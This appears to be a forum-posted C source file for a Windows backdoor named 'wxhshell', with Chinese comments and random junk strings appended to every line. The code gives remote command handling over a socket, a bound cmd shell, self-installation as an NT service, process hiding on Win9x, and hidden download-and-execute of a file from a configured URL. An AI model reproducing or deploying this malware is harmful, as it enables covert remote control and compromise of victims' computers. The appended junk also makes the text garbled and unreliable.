  case '?': { .M4IGOvOS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5b6s4ZyV  
    break; N|2y"5  
  } l~Lb!;,dN  
  // 安装 S|GWcSg  
  case 'i': { '?yCq$&  
    if(Install()) Ab1/.~^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FCc=e{  
    else -6Mm#sX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k 2%S`/:  
    break; G8Y+w  
    } cxYfZ4++m  
  // 卸载 ]> Y/r-!  
  case 'r': { L{ymI) Y^  
    if(Uninstall()) XO F1c3'H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #m8sK(#lo  
    else p '{xoV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,goBq3[%?  
    break; &(xUhX T  
    } r++i=SQax  
  // 显示 wxhshell 所在路径 /M OnNnV  
  case 'p': { !1uzX Kb  
    char svExeFile[MAX_PATH]; [[)_BmS5r  
    strcpy(svExeFile,"\n\r"); <Jp1A# %p  
      strcat(svExeFile,ExeFile); fj'j NE  
        send(wsh,svExeFile,strlen(svExeFile),0); NgB 7?]vu  
    break; y$tX-9U  
    } n`;R pr&  
  // 重启 BvSIM%>h  
  case 'b': { i`O rMzL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qU[O1bN  
    if(Boot(REBOOT)) }o9Aa0$*$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]9S`[c$  
    else { S C_|A9  
    closesocket(wsh); Ca$c;  
    ExitThread(0); RwTzz] M  
    } czBi Dk4  
    break; #cwCocw  
    } Nl8 gK{  
  // 关机 /CT(k1>  
  case 'd': { / axTh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QlW=_Ymv{  
    if(Boot(SHUTDOWN)) <kD#SV%"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y?N Nz0  
    else { LN!W(n(  
    closesocket(wsh); `!w^0kZ  
    ExitThread(0); D(r:}pyU  
    } LI:T c7t  
    break; ur2!#bU9  
    } xKJ>gr"w#  
  // 获取shell @5}gsC  
  case 's': { S@:B6](D$  
    CmdShell(wsh); U 0ZB^`  
    closesocket(wsh); :LV.G0)#  
    ExitThread(0); +|C[-W7Sw  
    break; :J(sXKr[C  
  } @PcCiGZ  
  // 退出 nJVp.*S  
  case 'x': { {(vOt'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,{j4  
    CloseIt(wsh); +*t|yKO>[  
    break; TV{)n'aA  
    } t^@T`2jL  
  // 离开 c#q"\"  
  case 'q': { 6d{j0?mM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?TuI:dC  
    closesocket(wsh); "]]q} O?  
    WSACleanup(); d]M[C[TOX  
    exit(1); 2X @G"  
    break; %N~;{!![p  
        } "oE*9J?e  
  } K ~>jApZ%  
  } ~5t?C<wo  
9!t4>  
  // 提示信息 !O\X+#j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $au2%NL  
} {of]/ 3=  
  }  0:dB 9  
xYR#%!M  
  return; vbn>mg5  
}  a8h]n:!  
G6Q4-kcK  
// shell模块句柄 `Ei"_W  
int CmdShell(SOCKET sock) OKQLv+q5K)  
{ KF{a$d  
STARTUPINFO si; La}o(7 =s  
ZeroMemory(&si,sizeof(si)); HP$K.a7H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; piu0^vEEH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `$9L^Yg,4  
PROCESS_INFORMATION ProcessInfo; b|E/LKa  
char cmdline[]="cmd"; uiK:*[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Y%D 9  
  return 0; B+D`\Nlo  
} fSV5  
n|]N7 b'  
// 自身启动模式 ^W['A]l  
int StartFromService(void) MxN]7  
{ A[ 1)!e  
typedef struct ~_}4jnC  
{ =8S}Iat  
  DWORD ExitStatus; 1b `G2?%  
  DWORD PebBaseAddress; &PWf:y{R`  
  DWORD AffinityMask; x<Se>+  
  DWORD BasePriority; NS 5 49S  
  ULONG UniqueProcessId; H^v{Vo  
  ULONG InheritedFromUniqueProcessId; n^6TP'r  
}   PROCESS_BASIC_INFORMATION; 0Uaem  
J3\)Jy  
PROCNTQSIP NtQueryInformationProcess; GI4oQcJ  
0=,'{Vz}A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &enlAV'#)O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s=\7)n=,M  
em/Xu  
  HANDLE             hProcess; 2B'^`>+8S  
  PROCESS_BASIC_INFORMATION pbi; {Pvr??"r  
Isp_U5M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #wD7 \X-f  
  if(NULL == hInst ) return 0; di<B~:l58  
/'NUZ9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h*l4Y!7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g _x\T+=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XbXgU#%  
*cy.*@d  
  if (!NtQueryInformationProcess) return 0; .9I_N G  
s'AQUUrb <  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D`fc7m  
  if(!hProcess) return 0; KF4see;;  
Ei|0L$NCg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zr R+QV  
I~'gK8<e7  
  CloseHandle(hProcess); *p"O*zj  
_6J<YQK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sx90lsu  
if(hProcess==NULL) return 0; |Rk37P {  
4Qhx[Hv>(  
HMODULE hMod; aZC*7AK   
char procName[255]; _3zU,qm+  
unsigned long cbNeeded; zCM^r <Kr  
%g5jY%dg.r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @6[x%j/!bt  
z}mvX .j7  
  CloseHandle(hProcess); ?P YNE  
V!}L<cN  
if(strstr(procName,"services")) return 1; // 以服务启动 yx 7loy$[  
;HT0w_,  
  return 0; // 注册表启动 >T(M0Tkt  
} !~tnt i6  
YN`UTi\s  
// 主模块 x:vrK#8D>  
int StartWxhshell(LPSTR lpCmdLine)  TVj1C  
{ hX %s]"  
  SOCKET wsl; TR|;,A[%v#  
BOOL val=TRUE; ZG!x$ yi$  
  int port=0; R$ v i!0  
  struct sockaddr_in door; _=)!xnYf  
;,FT&|3o  
  if(wscfg.ws_autoins) Install(); O<Jwaap  
i$g|?g~]  
port=atoi(lpCmdLine); Mf#2.TR  
a'm!M:w  
if(port<=0) port=wscfg.ws_port; Age-AJ  
- =yTAx  
  WSADATA data; wiKCr/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .M}06,-  
]zX\8eHp!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M'b:B*>6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]C+eJ0"A  
  door.sin_family = AF_INET; [3GKPX:OA/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -uO%[/h;N  
  door.sin_port = htons(port); iczs8gj*  
z{@= _5;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A"`L~|&  
closesocket(wsl); W6h NJb  
return 1; 'wegipK~R  
} 2c!h2$w  
o&WRta>VP  
  if(listen(wsl,2) == INVALID_SOCKET) { K@y-)I2]  
closesocket(wsl); J,MT^B  
return 1; gjO *h3`  
} wYC9 ~ms-  
  Wxhshell(wsl); g2!0vB>  
  WSACleanup(); u;$I{b@M]  
e1:u1(".  
return 0; a"MTQFm'  
Cl%V^xTb  
} yIM.j;5:~5  
yl[2et  
// 以NT服务方式启动 b;SFI^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YL; SxLY  
{ 6R0D3kW  
DWORD   status = 0; }3bQ>whF  
  DWORD   specificError = 0xfffffff; K lPm=  
[B.W1 GL!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pq%t@j(X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y-D>xV)n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L; @a E[#z  
  serviceStatus.dwWin32ExitCode     = 0; _a?wf!4>P  
  serviceStatus.dwServiceSpecificExitCode = 0; Q1]V|S;)X  
  serviceStatus.dwCheckPoint       = 0; ]Fb8.q5(Y  
  serviceStatus.dwWaitHint       = 0; s$Ic DuBu  
&3!i@2d;3f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "4J?JR  
  if (hServiceStatusHandle==0) return; wOD/Z8  
X%RQB$  
status = GetLastError(); PEMxoe<+  
  if (status!=NO_ERROR) |p'_k(z}  
{ lqhHbB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  /<(R  
    serviceStatus.dwCheckPoint       = 0; k9. u[y.  
    serviceStatus.dwWaitHint       = 0; NdaVT5RB  
    serviceStatus.dwWin32ExitCode     = status; _:oMyK'  
    serviceStatus.dwServiceSpecificExitCode = specificError; cL-6M^!a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .N?|t$J  
    return; E&}H\zt#  
  } $Ui]hA-:?y  
W66}\&5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9aW8wYL~b  
  serviceStatus.dwCheckPoint       = 0; R4hav  
  serviceStatus.dwWaitHint       = 0; 7Y|Wy Oq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *fOS"-C L  
} }W^V^i)  
_N[^Hl`\  
// 处理NT服务事件,比如:启动、停止 Fj[ dO&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3JwSgcb  
{ t[L2'J.5  
switch(fdwControl) s?1-$|*  
{ iPRJA{$b_  
case SERVICE_CONTROL_STOP: ]9!Gg  
  serviceStatus.dwWin32ExitCode = 0; G <}7vF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vs2v j  
  serviceStatus.dwCheckPoint   = 0; krnvFZRTQ  
  serviceStatus.dwWaitHint     = 0; N^nDWK  
  { C.B8 J"T-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;jpw"-J`  
  } r;@:S~  
  return; LIm$Wl1U  
case SERVICE_CONTROL_PAUSE: S^_JC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x`j_d:C~G  
  break; AmUe0CQ:k'  
case SERVICE_CONTROL_CONTINUE: K6 PC&+x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bCe[nmE2  
  break; x3:ZB  
case SERVICE_CONTROL_INTERROGATE: #,Fx@3y\a  
  break; _.s\qQ  
}; 72B zvY.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +4p2KYO  
} lcuH]z  
{Hrr:hC  
// 标准应用程序主函数 OP\^c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O~c+$(  
{ Rqv+N]  
T`0`]z!~  
// 获取操作系统版本 Mz% d_  
OsIsNt=GetOsVer(); ]xVL11p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SO8|]Fk  
*o2_EqXL*  
  // 从命令行安装 GtGyY0  
  if(strpbrk(lpCmdLine,"iI")) Install(); k_.j%  
tL|L"t_5x  
  // 下载执行文件 noD7G2o  
if(wscfg.ws_downexe) { `s|\" @2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NR@SDW  
  WinExec(wscfg.ws_filenam,SW_HIDE); f(zuRM^5  
} >ZOZv  
;9- 4J  
if(!OsIsNt) { C$EFh4  
// 如果时win9x,隐藏进程并且设置为注册表启动 QjT#GvHY  
HideProc(); Xl '\krz  
StartWxhshell(lpCmdLine); iI/'! 85  
} r.W"@vc>  
else Jg?pW:}R  
  if(StartFromService()) x Ps& CyI  
  // 以服务方式启动 ! a8h  
  StartServiceCtrlDispatcher(DispatchTable); Av[|.~g  
else &nY2u-Q  
  // 普通方式启动 !'UsC6Y4  
  StartWxhshell(lpCmdLine); Iclan\q#y  
'TEwU0<%  
return 0; .Jnp{Tet  
}
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只看该作者 1 发表于: 2006-10-10
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